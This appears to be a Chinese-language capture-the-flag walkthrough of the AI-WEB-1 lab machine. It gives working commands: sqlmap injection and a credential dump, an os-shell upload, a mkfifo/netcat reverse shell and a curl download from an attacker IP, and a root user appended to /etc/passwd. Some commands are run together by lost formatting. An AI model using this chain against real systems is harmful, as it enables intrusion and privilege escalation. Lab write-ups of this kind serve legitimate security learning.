AI-WEB-1
端口扫描
仅开放80端口
访问80端口
啥也没有
目录扫描
查看robots.txt
发现两个新目录
Disallow: /m3diNf0/
Disallow: /se3reTdir777/uploads/
全都无权限访问
加入路径后再次扫描目录
发现/m3diNf0/目录下存在info.php
,/se3reTdir777/
目录下存在index.php
info.php
是php配置文件,字太多暂时放一放
index.php
有输入框,输入数字可查看用户信息,顺理成章想到sql注入
输入``时发现报错,直接上sqlmap
bp截获数据包,写入1.txt
sqlmap -r 1.txt -p uid
发现注入点
最后发现两个表user
和systemUser
user表没用
sqlmap -r 1.txt -p uid -D aiweb1 -T systemUser -C username,password --dump
systemUser表内有password
看上去像base64,最后只有aiweb1pwn解出来了
MyEvilPass_f908sdaf9_sadfasf0sa
本来想ssh,才想起来没开放22端口
暂时没想到这个密码有什么用,先放一放
直接使用sqlmap开一个终端
sqlmap -r 1.txt -p uid --
os-shell
需要一个写入目录,未知,回头看info.php
发现网站本地目录为/home/www/html/web1x443290o2sdf92213
os-shell
需要一个上传文件的地方,于是刚好有/se3reTdir777/uploads/
连起来就是/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
直接反弹shell没成功,写入蚁剑反弹脚本
在攻击机上开启http服务
os-shell远程下载反弹shell脚本
蚁剑连接成功
蚁剑反弹shell
bash -i 没成功
改用nc -e /bin/bash 192.168.181.129 1234
发现不能使用-e参数
搜索后发现可以通过创建管道绕过-e参数
rm /tmp/fmkfifo /tmp/fcat /tmp/f|/bin/sh -i 2>&1|nc 192.168.181.129 1234 >/tmp/f
cat /tmp/f
读取管道里的内容;/bin/sh -i 2>&1
以交互方式运行/bin/sh,并将标准错误重定向到标准输出;nc ip port > /tmp/f
连接 ip:port
并将输出重定向到/tmp/f。这条命令的逻辑是这样的:
cat /tmp/f
等待并从命名管道中获取命令,然后将获取到的命令通过匿名管道发送到/bin/sh
执行,然后/bin/sh
将返回的结果再通过匿名管道发送给nc
,nc
则将命令的结果发送到
ip:port ,如果 ip:port 再次输入的命令,那么这个命令被nc
接收后会被重定向到/tmp/f
。
记得事先在攻击机开启监听
nc -lvnp 1234
查看用户目录,发现aiweb1,和刚刚数据库里查出来的用户吻合
su aiweb1
可惜没成功
上传linpeas.sh
curl http://192.168.181.129:8888/linpeas.sh -o linpeas.sh
执行
发现/etc/passwd
可以任意写
创建一个用户写入
openssl passwd -1 -salt cccc 123456echo 'cccc:$1$cccc$86ybZ4sfCXVS9DhweUEVb.:0:0::/root:/bin/bash' >> /etc/passwd
成功提权